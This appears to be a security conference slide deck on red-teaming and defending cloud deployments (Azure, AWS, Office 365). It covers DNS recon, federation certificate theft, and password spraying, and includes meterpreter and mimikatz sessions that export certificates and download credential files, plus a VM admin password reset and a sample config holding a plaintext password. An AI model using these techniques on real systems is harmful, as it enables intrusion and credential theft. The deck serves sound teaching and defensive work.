Hacking the Cloud

Gerald Steere – Microsoft C+E Red Team (@Darkpawh)
Sean Metcalf – CTO Trimarc (@pyrotek3)
Gerald Steere - @darkpawh

10+ years experience as a penetration tester and red team operator
Member of C+E Red Team since 2014
Speaker at BlueHat and Bsides Seattle
Spends work days happily smashing atoms in Azure
Sean Metcalf - @pyrotek3

Founder Trimarc, a security company.
Microsoft Certified Master (MCM) Directory Services
Speaker: Black Hat, BSides, DEF CON, DerbyCon, Shakacon, Sp4rkCon
Security Consultant / Security Researcher
Own & Operate ADSecurity.org
(Microsoft platform security info)

Contact: Sean [at] ADSecurity.org
Cloud FTW!

What’s in it for me?
Buzzword bingo with cloud lingo
Pathfinding, recon, and targeting in multiple dimension
Currency exchange – what do I do with all these hashes?
Happy fun exploit time (with demos)
Countermeasures and proper protection
What’s in it for me?
Cloud matters for business

Your client probably uses it, whether you (or they) realize it or not

Many traditional techniques do not work

Same concepts but new ways of thinking
Can I really go after my client’s cloud deployments?

We are not lawyers.

If you’re a professional you need one of those to talk to ALWAYS.
Lawful Evil is a perfectly valid alignment

Scope & Access will be more limited
Spell out enforced limitations in your reporting
Cloud providers typically require an approval process be followed
Attacking Azure, AWS, or Google Cloud Deployments

Requires preapproval by account owner (Azure and AWS)
Standard Rules of Engagement (RoE) stuff
Limited to customer owned resources
No DoS
Can include attempts to break isolation (Azure)
Buzzword Bingo

Do you have your card ready?
Accessibility modifiers

Public cloud
Private cloud
Hybrid cloud

https://www.stickermule.com/marketplace/3442-there-is-no-cloud
All the aaS

Pizza as a Service

Albert Barron – https://www.linkedin.com/pulse/20140730172610-9679881-pizza-as-a-service
CloudOS - Same ideas, different words

Faust and Johnson – Cloud Post Exploitation Techniques Infiltrate 2017 https://vimeo.com/214855977
Where’s the data?

Cloud services rely on data storage for nearly everything

How is data stored in the cloud?

Do I need to attack the service or is the data my real goal?
Pathfinding, recon, and targeting in multiple dimension

How do I figure out I even need to look at the cloud?
Identifying Cloud Deployments

In the public cloud –

DNS is your best friend

```bash
$ set type=txt
$ web.sith.co
Server: cdns2.cox.net
Address: 68.105.28.12

Non-authoritative answer:
web.sith.co  text =

"sithco.azurewebsites.net"
```
Cloud Recon: DNS MX Records

- Microsoft Office 365: DOMAIN-COM.mail.protection.outlook.com
- Google Apps (G Suite): *.google OR *.googlemail.com
- Proofpoint (pphosted)
- Cisco Email Security (iphmx)
- Cyren (ctmail)
- GoDaddy (secureserver)
- CSC (cscdns)
Cloud Recon: DNS TXT Records

MS = Microsoft Office 365
Google-Site-Verification = G Suite
Amazonses = Amazon Simple Email
OSIAGENTREGURL = Symantec MDM
AzureWebsites = Microsoft Azure
Paychex = Paychex financial services
Docusign = Docusign digital signatures
Atlassian-* = Atlassian services
Cloud Recon: SPF Records

SalesForce (salesforce.com, pardot.com, & exacttarget.com)
MailChimp (mcsv.net)
Mandrill (MailChimp paid app)
Q4Press (document collaboration)
Zendesk (support ticket)
Oracle Marketing (Eloqua.com)
Constant Contact (email marketing)
Postmark (mtasv.net)

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>protection.outlook</td>
<td>180</td>
</tr>
<tr>
<td>pphosted.com</td>
<td>71</td>
</tr>
<tr>
<td>messagelabs.com</td>
<td>41</td>
</tr>
<tr>
<td>google.com</td>
<td>30</td>
</tr>
<tr>
<td>salesforce.com</td>
<td>30</td>
</tr>
<tr>
<td>mandrillapp.com</td>
<td>19</td>
</tr>
<tr>
<td>mcsv.net</td>
<td>19</td>
</tr>
<tr>
<td>pardot.com</td>
<td>17</td>
</tr>
<tr>
<td>q4press.com</td>
<td>16</td>
</tr>
<tr>
<td>exacttarget.com</td>
<td>12</td>
</tr>
<tr>
<td>mimecast.com</td>
<td>9</td>
</tr>
<tr>
<td>zendesk.com</td>
<td>8</td>
</tr>
<tr>
<td>oracle.com</td>
<td>8</td>
</tr>
<tr>
<td>eloqua.com</td>
<td>7</td>
</tr>
<tr>
<td>boardbooks.com</td>
<td>6</td>
</tr>
<tr>
<td>spf.messagelabs</td>
<td>6</td>
</tr>
<tr>
<td>qualtrics.com</td>
<td>5</td>
</tr>
<tr>
<td>clearslide.com</td>
<td>5</td>
</tr>
<tr>
<td>clickdimensions.com</td>
<td>5</td>
</tr>
<tr>
<td>constantcontact.com</td>
<td>4</td>
</tr>
<tr>
<td>satmetrix.com</td>
<td>4</td>
</tr>
<tr>
<td>microsoft.com</td>
<td>4</td>
</tr>
<tr>
<td>amazon.com</td>
<td>4</td>
</tr>
</tbody>
</table>
Discover Federation Servers

No standard naming for FS.
Some are hosted in the cloud.
DNS query for:

- adfs
- auth
- fs
- okta
- ping
- sso
- sts
OWA Version Discovery

Check for autodiscover subdomain (autodiscover.domain.com)
Connect to autodiscover web page (https://autodiscover.domain.com)
Copyright date effectively provides Exchange version:
2006 = Microsoft Exchange 2007
Cloud and Federation

Attackers go after Identity since that provides access to resources.
Modern auth

Cloud authentication and authorization is typically independent from the on-premises domain, though Federation may provide a path...

How you authenticate will depend on the specific cloud provider

More Buzzword Bingo:

- OAuth
- OpenID
- SAML
- WS-Federation
- WS-Trust
**Identity**

**User Authentication Flow:**
1. User authenticates to Active Directory.
2. User opens web browser and connects to web application.
3. Cloud app doesn't receive a token, so refers user to Federation server.
4. User connects to Federation Server, proves AD authentication, and receives token.
5. Connects back to cloud app providing token. User is allowed access based on data in token.
ADFS Federation Server Config

Federation server typically lives on the internal network with a proxy server in the DMZ.

Certificates installed on Federation server
  - Service communication
  - Token-decrypting
  - Token-signing

Relying party trusts: cloud services and applications
Claim rules: determine what type of access and from where access is allowed.
SAML in a Nutshell

• Security Assertion Markup Language (SAML)
• Web browser single-sign on
• Three roles:
  • User
  • Identity Provider (IDP)
  • Service Provider
• Specifies assertions between these roles (broker) which are used to confirm identity.
• Authentication method agnostic.
• SAML messages have several levels of signatures.
Federation Key Points

Federation: trust between organizations leveraging PKI (certificates matter)

Cloud SSO often leverages temporary or persistent browser cookies (cookies provide access)

Several protocols may be supported, though typically SAML. (protocols and versions matter)

Federation server (or proxy) is on public internet via port 443 (HTTPS).
How to steal identities – federated style

Federation is effectively Cloud Kerberos.
Own the Federation server, own organizational cloud services.
Token & Signing certificates ~= KRBTGT (think Golden Tickets)
Steal federation certificates to spoof access tokens (Mimikatz fun later).

Casey Smith @subTee
Ever looked at the results of searching GitHub: ".pfx password="
Certs are probably being stolen. Probably...
Anyone done research on this?
On-Premises Cloud Components

How do we get those identities into the cloud anyways?
Active Directory & the Cloud

Active Directory provides Single Sign On (SSO) to cloud services. Some directory sync tools synchronizes all users and their attributes to cloud service(s).

Most sync engines only require AD user rights to send user and group information to cloud service.

Most organizations aren’t aware of all cloud services active in their environment.
Express Permissions for Azure AD Connect

Permissions for the created AD DS account for express settings

The account created for reading and writing to AD DS have the following permissions when created by express settings:

<table>
<thead>
<tr>
<th>Permission</th>
<th>Used for</th>
</tr>
</thead>
<tbody>
<tr>
<td>Replicate Directory Changes</td>
<td>Password sync</td>
</tr>
<tr>
<td>Replicate Directory Changes All</td>
<td></td>
</tr>
<tr>
<td>Read/Write all properties User</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Read/Write all properties iNetOrgPerson</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Read/Write all properties Group</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Read/Write all properties Contact</td>
<td>Import and Exchange hybrid</td>
</tr>
<tr>
<td>Reset password</td>
<td>Preparation for enabling password writeback</td>
</tr>
</tbody>
</table>

https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-accounts-permissions
### Custom Permissions for Azure AD Connect

<table>
<thead>
<tr>
<th>Feature</th>
<th>Permissions</th>
</tr>
</thead>
<tbody>
<tr>
<td>msDS-ConsistencyGuid feature</td>
<td>Write permissions to the msDS-ConsistencyGuid attribute documented in Design Concepts - Using msDS-ConsistencyGuid as sourceAnchor.</td>
</tr>
</tbody>
</table>
| Password sync                   | • Replicate Directory Changes  
• Replicate Directory Changes All |
| Exchange hybrid deployment      | Write permissions to the attributes documented in Exchange hybrid writeback for users, groups, and contacts.                                |
| Exchange Mail Public Folder     | Read permissions to the attributes documented in Exchange Mail Public Folder for public folders.                                            |
| Password writeback              | Write permissions to the attributes documented in Getting started with password management for users.                                      |
| Device writeback                | Permissions granted with a PowerShell script as described in device writeback.                                                              |
| Group writeback                 | Read, Create, Update, and Delete group objects in the OU where the distributions groups should be located.                                  |

PowerShell Management of Cloud Stuff

- Amazon AWS
  https://aws.amazon.com/powershell/

- Google Cloud
  https://cloud.google.com/powershell/

- Microsoft Azure
  https://docs.microsoft.com/en-us/powershell/azure/install-azurermps?view=azurermps-4.1.0

- Microsoft Office 365
Identity

Display Name: International Genetic Technologies
Preferred Language: en
Street: 100 Farallon Road
City: Palo Alto
State: CA
Postal Code: 94301
Country: US
Country Letter Code: US
TelephoneNumber: (415) 209-5451
MarketingNotificationEmails: {}
TechnicalNotificationEmails: {johnarnold@ingentch.co}
SelfServePasswordResetEnabled: True
UsersPermissionToCreateGroupsEnabled: True
UsersPermissionToCreateLOBAppliedEnabled: True
UsersPermissionToReadOtherUsersEnabled: True
UsersPermissionToUserConsentToAppEnabled: True
DirectorySynchronizationEnabled: True
DirSyncServiceAccount: 
LastDirSyncTime: 
LastPasswordSyncTime: 
PasswordSynchronizationEnabled: False

PS C:\Windows\system32> Get-MsolRole

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Helpdesk Administrator</td>
<td>Helpdesk Administrator has access to perform common helpdesk related tasks.</td>
</tr>
<tr>
<td>Service Support Administrator</td>
<td>Service Support Administrator has access to perform common support related tasks.</td>
</tr>
<tr>
<td>Billing Administrator</td>
<td>Billing Administrator has access to perform common billing related tasks.</td>
</tr>
<tr>
<td>Mailbox Administrator</td>
<td>Allows access and management of users mailboxes.</td>
</tr>
<tr>
<td>Partner Tier1 Support</td>
<td>Allows ability to perform tier 1 support tasks.</td>
</tr>
<tr>
<td>Partner Tier2 Support</td>
<td>Allows ability to perform tier 2 support tasks.</td>
</tr>
<tr>
<td>Directory Readers</td>
<td>Allows access to various read only tasks in the directory.</td>
</tr>
<tr>
<td>Exchange Service Administrator</td>
<td>Exchange Service Administrator.</td>
</tr>
<tr>
<td>Lync Service Administrator</td>
<td>Lync Service Administrator.</td>
</tr>
</tbody>
</table>
Identity

AccountEnabled : True
Addresses : {}
AppPrincipalId : ae9c4dc1-265c-4a70-a694-983c4f871836
DisplayName : DinoDNA
ObjectId : ed177e6c-0f90-41f9-b4e1-911611cb53a3
ServicePrincipalNames : {ae9c4dc1-265c-4a70-a694-983c4f871836, InGen/DinoDNA.ingentech.co}
TrustedForDelegation : False

AccountEnabled : True
Addresses : {}
AppPrincipalId : 7320dd22-f833-4604-bb2c-b7a4a441a620
DisplayName : Ingen Secure
ObjectId : 362ab303-d945-4703-ac39-8b3a0c19b24a
ServicePrincipalNames : {7320dd22-f833-4604-bb2c-b7a4a441a620, InGen/secure.ingentech.co}
TrustedForDelegation : False

AccountEnabled : True
Addresses : {}
AppPrincipalId : e820fda8-9479-4a61-9c60-c8459cd4cdc2
DisplayName : I know this!
ObjectId : ba087b1b-7626-47ad-a842-2170e167090e
ServicePrincipalNames : {e820fda8-9479-4a61-9c60-c8459cd4cdc2, InGen/UnixSystem.ingentech.co}
TrustedForDelegation : False

Get-MSolGroup

<table>
<thead>
<tr>
<th>ObjectId</th>
<th>DisplayName</th>
<th>GroupType</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>912f339b-a375-4747-8fe6-c5957e9e93a3</td>
<td>InGen Systems Admins</td>
<td>Security</td>
<td>Unix System Admins</td>
</tr>
<tr>
<td>12579f60-0287-4ac6-a0d5-89ce5312a8f4</td>
<td>InGen Security</td>
<td>Security</td>
<td>Security Team</td>
</tr>
<tr>
<td>6a4e110c-5434-4586-876b-34b529432ace</td>
<td>InGen R&amp;D</td>
<td>Security</td>
<td>R&amp;D</td>
</tr>
<tr>
<td>26248498-4769-4e3f-b164-94255de18e4c</td>
<td>InGen Dino Team</td>
<td>Security</td>
<td>Dino Team</td>
</tr>
</tbody>
</table>
AAD – Microsoft Graph Explorer
Attacking Cloud Assets
(or Protecting)
Managing VMs is Still Your Responsibility...

Casey Smith @subTee

If you have #Azure, better check your C:\Windows\Azure folder for RW permissions for NORMAL users. Filed this with MSRC months ago.

#PrivEsc https://pbs.twimg.com/media/DFH8yMKUIAAO1h.jpg
Kevin Beaumont @GossiTheDog · Mar 24

Microsoft have a website called docs.com where Office 365 customers can share anything in public. It has a search function.

Here you have your account login details:

Hostname: [redacted]
Username: [redacted]
Password: [redacted]

SPARKPOST SMTP PASSWORD: [redacted]

https://adpo02.adp.com/SSMatri/pdf/66/1567470039_5562e0f3b322f866496f8dab2e2fa055.pdf

Etime - NEW HIRES (INITIAL PASSWORD) LAST 4 DIGITS OF YOUR SSN

<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>B</td>
<td>C</td>
<td>D</td>
<td>E</td>
</tr>
<tr>
<td>---</td>
<td>---</td>
<td>---</td>
<td>---</td>
<td>---</td>
</tr>
<tr>
<td>100</td>
<td>96</td>
<td>19.01.2016</td>
<td>PODM1516-0075</td>
<td>₹5,682</td>
</tr>
<tr>
<td>101</td>
<td>97</td>
<td>12.01.2016</td>
<td>PODM1516-0073</td>
<td>₹2,268</td>
</tr>
<tr>
<td>102</td>
<td>98</td>
<td>05.02.2016</td>
<td>PODM1516-0081</td>
<td>₹5,611</td>
</tr>
<tr>
<td>103</td>
<td>99</td>
<td>05.02.2016</td>
<td>PODM1516-0081</td>
<td>₹5,906</td>
</tr>
<tr>
<td>104</td>
<td>100</td>
<td>08.01.2015</td>
<td>PODM1516-0071</td>
<td>₹128,746</td>
</tr>
<tr>
<td>105</td>
<td>101</td>
<td>25.01.2016</td>
<td>PODM1516-0078</td>
<td>₹47,134</td>
</tr>
<tr>
<td>106</td>
<td>102</td>
<td>25.01.2016</td>
<td>PODM1516-0078</td>
<td>₹49,969</td>
</tr>
<tr>
<td>107</td>
<td>103</td>
<td>01.02.2016</td>
<td>PODM1516-0080</td>
<td>₹7,238</td>
</tr>
<tr>
<td>108</td>
<td>104</td>
<td>01.02.2016</td>
<td>PODM1516-0079</td>
<td>₹1,814</td>
</tr>
<tr>
<td>109</td>
<td>105</td>
<td>01.02.2016</td>
<td>PODM1516-0079</td>
<td>₹1,764</td>
</tr>
<tr>
<td>110</td>
<td>106</td>
<td>12.01.2016</td>
<td>PODM1516-0074</td>
<td>₹10,223</td>
</tr>
</tbody>
</table>
Kevin Beaumont @GossiTheDog · Mar 26
Google still index docs.com. In fairness to Docs team it clearly says Publicly Viewable when publishing content.
Thank you for using Docs.com. You are receiving this email because you have published content using the service.

Docs.com lets users showcase and share their content with the world. This makes public content easily discoverable via search engines and reusable to others.

We want to make sure that your published content is shared with your intended audience. To review and update the settings, we encourage you to take a few moments to sign in to your account https://docs.com/me. For instructions on how to control the privacy
Attacking Cloud Assets

AUTO LENDER EXPOSES LOAN DATA FOR UP TO 1 MILLION APPLICANTS

Cloud Security Failure: Millions of Wrestling Fans' Personal Data Exposed

Amazon S3 Users Exposing Sensitive Data, Study Finds

S3 data exposure highlights security risks in the cloud

14M Verizon customer records exposed on Amazon server

US defense contractor secures Amazon S3 bucket after leaving sensitive data publicly exposed

Whoops! Sensitive intelligence data potentially disclosed…
LILY HAY NEWMAN  SECURITY  07.15.17  08:00 AM

BLAME HUMAN ERROR FOR WWE AND VERIZON’S MASSIVE DATA EXPOSURES

Hello,

We’re writing to remind you that one or more of your Amazon S3 bucket access control lists (ACLs) are currently configured to allow access from any user on the Internet. The list of buckets with this configuration is below.

By default, S3 bucket ACLs allow only the account owner to read contents from the bucket; however, these ACLs can be configured to permit world access. While there are reasons to configure buckets with world read access, including public websites or publicly downloadable content.

Thanks @awscloud! #infosec https://pbs
“If you are vulnerable, attackers could get full access to your S3 bucket, allowing them to download, upload and overwrite files.”

https://blog.detectify.com/2017/07/13/aws-s3-misconfiguration-explained-fix/
Currency exchange – what do I do with all these hashes?
I never liked buying tokens, but that’s all these things take
Spending our horde

I’ve got all these hashes and no where to go

No matter how many times you’ve popped the KRBTGT account, your cloud provider really doesn’t care
Creds, creds never change

Certificates, certificates, certificates!

Popping dev boxes has never been more productive

You do know mimikatz can also export certificates, right?

```bash
mimikatz # crypto::certificates /systemstore:local_machine /store:my /export
* System Store : 'local_machine' (0x00020000)
* Store : 'my'

0. example.domain.local
   Key Container : example.domain.local
   Provider : Microsoft Software Key Storage Provider
   Type : CNG Key (0xffffffff)
   Exportable key : NO
   Key size : 2048
   Public export : OK - 'local_machine_my_0_example.domain.local.der'
   Private export : OK - 'local_machine_my_0_example.domain.local.pfx'
```
What is old is new again

Password Spraying:
Attempting authentication with a single password against all users before moving on to the next password.
Works against Cloud services: email, IM, etc.
Run Low & Slow
Often works against VPN as well.
DevOps

DevOps probably has what you are looking for
API keys and shared secrets for the win
Source code access for fun and profit
How are these deployments done anyways?

-----BEGIN PRIVATE KEY-----
MIICdgTRADAMEgkqykiG9mOBAQEFAASCAMAwggJcAgEAAoGBAMlsvC/T4m
uYe3E4LMwI+8efrC6g6y93N52e8UBoPoC7J9NpQif/cVcnLQO0f4+IkeV
AHNAoOlZskYIoTo+Xud9xUM1h2XACdjend4vEhtJ7Thmz6yez1BHb2z
yTBqat8gyT7Rv7w+eeHuclllyvYe+eP6WU0hLvfipPP9TWn9XsAFV6isd
veIRCECU/aeTSMeaCUZXvIePue+FLgU3Wfy8W/Qo7r0uIFhu2S2S
v00Rcbl3Jw/AL3aObnEoQJDk0/c0xHDb9gmjcDCREn14ajLscso1VYVd
xrlnP5vmDyg51Bjaivjyxw12xXnysz0Vt/UCQDhHYAmKMS8FFX9vDpoR
FI9zWiz1XQhW+7eqGN3Ak8jsoqZFl
xrlSCcUG1i8US9wKTd6+HydgNQAac6c
BFxqgbe20Q83Q24yqQ/t2ImNvup6BlallBcNo2507BRTmDdSTJLAe
-----END PRIVATE KEY-----
Where Are API Keys? GitHub!

accessKeyId and secretAccessKey are leaking #9

1 Open  jingidy opened this issue on May 30, 2013 · 0 comments

jingidy commented on May 30, 2013

While running mocha tests for my project, two global leaks were detected due to the amazon-ses module.

Please see test case here: https://gist.github.com/jingidy/5862149

https://github.com/jjenkins/node-amazon-ses/issues/9

```javascript
var ApiBuilder = require('claudia-api-builder'),
    api = new ApiBuilder();
module.exports = api;
AWS.config.update({
  "accessKeyId": "AKIAxxxxxxxxxxxxxxxxxxx",
  "secretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...
});
```

https://hackernoon.com/how-to-use-environment-variables-keep-your-secret-keys-safe-secure-8b1a7877d69c
The circle of access

Access between on-premises and cloud deployments often a two way street

On-premises -> cloud typically involves identifying credentials

Is there a way back?

Are there shared authentication methods?
Countermeasures and proper protection

Closing my eyes and hoping it goes away isn’t going to work, is it?
Giving useful advice: The Basics

Properly handle, store, and manage credentials and secrets
  - You aren’t storing those access keys in GIT are you?
  - Clouds do provide managed secret stores
  - Make it easy for DevOps to do the right thing

Enforce MFA on all accounts
  - If it can’t have MFA, limit it as much as possible and monitor it
Giving useful advice

Review permissions on data sources.
Separate private & public accessible resources.
Regularly review network access rules.
Many of the basics remain the same
  Least privilege is key and poorly understood in many cloud implementations
  Least access, use the security features provided by the cloud
  Cloud admin workstations – treat same as privileged users

Credential management is hard in a connected world – this is an massive opportunity for attackers
Giving useful advice: Securing Federation

Protect Federation servers at the same level as Domain Controllers.
Use a proxy server to limit communication directly with federation server inside the network.
Audit cloud authentication by logging Federation auth events & send to SIEM.
Enable multifactor authentication for all admin accounts & preferably all cloud accounts.
Control Cloud authentication via Federation rules.
Example:
  - Internal network access provides single sign-on
  - External access requires username, password, and two-factor authentication
Leverage Cloud Provider Security Features

Microsoft Azure:
- Azure Security Center
- Use Azure Resource Manager deployments with RBAC
- 2FA for all admin accounts

Amazon AWS:
- Resource Management
- Cloud Watch Events
- VPC Flow Logs
Monitoring and alerting

It’s not just for your network any more
Defenders need to work with DevOps to make sure that cloud resources and data are considered in defensive designs
Different cloud providers provide different tools for managing security
Defenders must be familiar with the tools from cloud providers used by their client
Log collection and management needs to include cloud assets
You do know what your assets are, right?
Assume breach!
Hacker Quest
When we last saw our intrepid red team

Hired to red team SithCo
Have domain admin on a subsidiary domain
SithCo uses public cloud resources to host web applications

*How do we leverage access to get into SithCo corporate?*
SithCo’s app hosting

Web.Sith.Co

Dev.Sith.Co

Corp.Sith.Co
```bash
meterpreter > getuid
Server username: DEV\devops
meterpreter > pwd
C:\Users\devops\Downloads
meterpreter > dir
Listing: C:\Users\devops\Downloads

Mode    Size     Type        Last modified         Name
-------- -------- -------- ------------------ -----------------------------
100666/rw-rw-rw-  436849  fil  2017-07-20  20:50:00 -0700 AWSSDKAndSamples_2.3.48.0.zip
100666/rw-rw-rw-  76222464  fil  2017-07-20  20:01:38 -0700 AWSToolsAndSDKForNet_sdk-3.3.126.0_ps-3.3.
100666/rw-rw-rw-   282  fil  2017-07-20  18:52:30 -0700 desktop.ini
100777/rwxrwxrwx  7168  fil  2017-07-26  11:17:22 -0700 devtools.exe
100666/rw-rw-rw-   3791  fil  2017-07-26  12:23:10 -0700 sithlords.publishsettings

meterpreter > download sithlords.publishsettings
[*] Downloading: sithlords.publishsettings --> sithlords.publishsettings
[*] Downloaded 3.70 KiB of 3.70 KiB (100.0%): sithlords.publishsettings --> sithlords.publishsettings
[*] download : sithlords.publishsettings --> sithlords.publishsettings

meterpreter > download rootkey.csv
[*] Downloading: rootkey.csv --> rootkey.csv
[*] Downloaded 90.00 B of 90.00 B (100.0%): rootkey.csv --> rootkey.csv
[*] download : rootkey.csv --> rootkey.csv

meterpreter > download rootkey.csv
[*] Downloading: rootkey.csv --> rootkey.csv
[*] Downloaded 90.00 B of 90.00 B (100.0%): rootkey.csv --> rootkey.csv
[*] download : rootkey.csv --> rootkey.csv
```
Error in authenticating subscription.

Additional Information:

Error Details:
Code: ForbiddenError
Message: The server failed to authenticate the request. Verify that the certificate is valid and is associated with this subscription.
mimikatz(powershell) # crypto::certificates
* System Store : 'CURRENT_USER' (0x00010000)
* Store : 'My'

0. azureautomation
   Key Container : {74D0E51B-5E92-4C7D-A307-EE56D915BDC8}
   Provider : Microsoft Software Key Storage Provider
   Provider type : cng (0)
   Type : CNG Key (0xffffffff)
   Exportable key : NO
   Key size : 2048

1. Windows Azure Tools Encryption Certificate for Extensions
   Key Container : f95cd3b1e8c12b1127519429a1ef0eb7_bee6c04e-0b6a-4be1-b71e-e67827a8f07c
   Provider : Microsoft Strong Cryptographic Provider
   Provider type : RSA_FULL (1)
   Type : AT_KEYEXCHANGE (0x00000001)
   Exportable key : YES
   Key size : 2048

2. Windows Azure Tools Encryption Certificate for Extensions
   Key Container : 7525f4d4df406b233c9cf8d0d5088b08_bee6c04e-0b6a-4be1-b71e-e67827a8f07c
   Provider : Microsoft Strong Cryptographic Provider
   Provider type : RSA_FULL (1)
   Type : AT_KEYEXCHANGE (0x00000001)
   Exportable key : YES
   Key size : 2048
meterpreter > getsystem
   ...
got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > load kiwi
Loading extension kiwi...
.
.###. mimikatz 2.1.1-20170409 (x64/wINDOWS)
.###  ^  ###  "A La Vie, A L'Amour"
###  /  ###  /*  **
###  /  /  ###  BENJAMIN DELPY  `gentilkiwi'  ( benjamin@gentilkiwi.com )
'### v  ###  http://blog.gentilkiwi.com/mimikatz (oe.oe)
'####'  Ported to Metasploit by OJ Reeves  `TheColonial'  **  */
success.

meterpreter > kiwi_cmd privilege::debug crypto::capi crypto::cng
Privilege '20' OK

mimikatz(powershell) # crypto::capi
Local CryptoAPI patched

mimikatz(powershell) # crypto::cng
ERROR kull_m_patch_genericProcessOrServiceFromBuild ; kull_m_patch (0x00000000)
### Disk Information

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>sithweb9140</td>
<td>OS disk</td>
<td><a href="https://sithweb5761.blob.core.windows.net/vhds/sithweb-os-3675.vhd">https://sithweb5761.blob.core.windows.net/vhds/sithweb-os-3675.vhd</a></td>
</tr>
</tbody>
</table>

---

**Open Options**
- **Open**
- **Download**
- **Cut** (Ctrl+X)
- **Copy** (Ctrl+C)
- **Copy Blob URL**
- **Generated Signed URL**
- **Acquire Lease**
- **Break Lease**
- **Delete**
- **Rename** (F2)
- **Snapshot**
- **Metadata**
- **Properties**
- **View**
- **Take**
<?xml version="1.0" encoding="utf-8"?>
<!--
For more information on how to configure your ASP.NET application, please visit
http://go.microsoft.com/fwlink/?LinkId=169433
-->
<configuration>
  <connectionStrings>
    <add name="ApplicationServices" connectionString="Persist Security
Info=False;User ID=sa;Password=NP0assword;Initial
Catalog=School;Server=10.8.0.2" providerName="System.Data.SqlClient" />
    <add name="SchoolEntities"
connectionString="metadata=res://*/DAL.SchoolModel.csdl|
res://*/DAL.SchoolModel.ssdl|
res://*/DAL.SchoolModel.ssdl;provider=System.Data.SqlClient;provider connection
string=\"Data Source=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\School.mdf;Integrated Security=True;User
Instance=True;MultipleActiveResultSets=True\";
providerName="System.Data.EntityClient" />
Currently the portal only exposes the option to not have the VM agent installed (by unchecking Install VM Agent when creating the VM). To use specific VM agent extensions you need to use Azure PowerShell or the REST APIs.

1. First install Azure PowerShell - How to install and configure Windows Azure PowerShell
   If you already had it installed, make sure you are on 0.8.5 or later by looking at the Version from the Get-Module azure command or look for Windows Azure PowerShell - July 2014 or later in the Programs and Features control panel.

2. Check if the agent is installed on the VM. This command will return True if the agent is installed:
   (Get-AzureVM -ServiceName clmar4ws12r2b -Name clmar4ws12r2b).VM.ProvisionGuestAgent
   True

3. To enable RDP and the necessary Windows firewall rule:
   Get-AzureVM -ServiceName clmar4ws12r2b -Name clmar4ws12r2b | Set-AzureVMAccessExtension | Update-AzureVM

<table>
<thead>
<tr>
<th>OperationDescription</th>
<th>OperationId</th>
<th>OperationStatus</th>
</tr>
</thead>
<tbody>
<tr>
<td>Update-AzureVM</td>
<td>3918b55c-da4b-76ee-b9b1-8b0c249f0fee</td>
<td>Succeeded</td>
</tr>
</tbody>
</table>

4. To instead do a password reset of the built-in administrator account:
   Get-AzureVM -ServiceName clmar4ws12r2b -Name clmar4ws12r2b | Set-AzureVMAccessExtension -UserName craig -Password $password | Update-AzureVM
Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-27 18:48 Coordinated Universal Time
Nmap scan report for 10.8.0.2
Host is up (0.061s latency).

PORT     STATE SERVICE   VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2016 13.00.4001.00; SP1
ms-sql-ntlm-info:
  Target_Name: CORP
  NetBIOS_Domain_Name: CORP
  NetBIOS_Computer_Name: HOLOCRON
  DNS_Domain_Name: corp.sith.co
  DNS_Computer_Name: holocron.corp.sith.co
  DNS_Tree_Name: corp.sith.co
  _ Product_Version: 10.0.14393
  ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
  Not valid before: 2017-07-26T18:04:45
  Not valid after: 2047-07-26T18:04:45
  _ssl-date: 2017-07-26T23:03:18+00:00; -19h45m12s from scanner time.
MAC Address: 00:FF:83:4A:C5:FC (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012 (85%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Video demo provided later

Will appear on adsecurity.org
Conclusion

Are we there yet?
References


References

Amazon AWS PowerShell
https://aws.amazon.com/powershell/

Google Cloud PowerShell
https://cloud.google.com/powershell/

Microsoft Azure PowerShell
https://docs.microsoft.com/en-us/powershell/azure/install-azurermps?view=azurermps-4.1.0

Microsoft Office 365 PowerShell
References

OWA-Toolkit
https://github.com/johnnyDEP/OWA-Toolkit

MailSniper: Invoke-PasswordSprayOWA
https://github.com/dafthack/MailSniper

Patator:
https://github.com/lanjelot/patator

LyncSniper: https://github.com/mdsecresearch/LyncSniper
https://www.mdsec.co.uk/2017/04/penetration-testing-skype-for-business-exploiting-the-missing-lync/

Detectify - AWS S3 Mconfigurations Explained
https://blog.detectify.com/2017/07/13/aws-s3-misconfiguration-explained-fix/
References

Azure Network Security Best Practices

Azure security best practices and patterns

Azure virtual machine security best practices

Azure identity & access security best practices

Security Best Practices for Windows Azure Solutions - Download Center
http://download.microsoft.com/download/7/8/a/78ab795a-8a5b-48b0-9422-fddeee8f70c1/securitybestpracticesforwindowsazureresolutionfeb2014.docx
References

The AWS Security Best Practices white paper

The EC2 Instances Best Practices white paper
https://aws.amazon.com/articles/1233/

Finding API keys
https://hackernoon.com/how-to-use-environment-variables-keep-your-secret-keys-safe-secure-8b1a7877d69c

AWS Credential Management
https://github.com/awslabs/git-secrets

AWS re:Invent 2016: Automating Security Event Response, from Idea to Code to Execution
https://www.youtube.com/watch?v=x4GkAGe65vE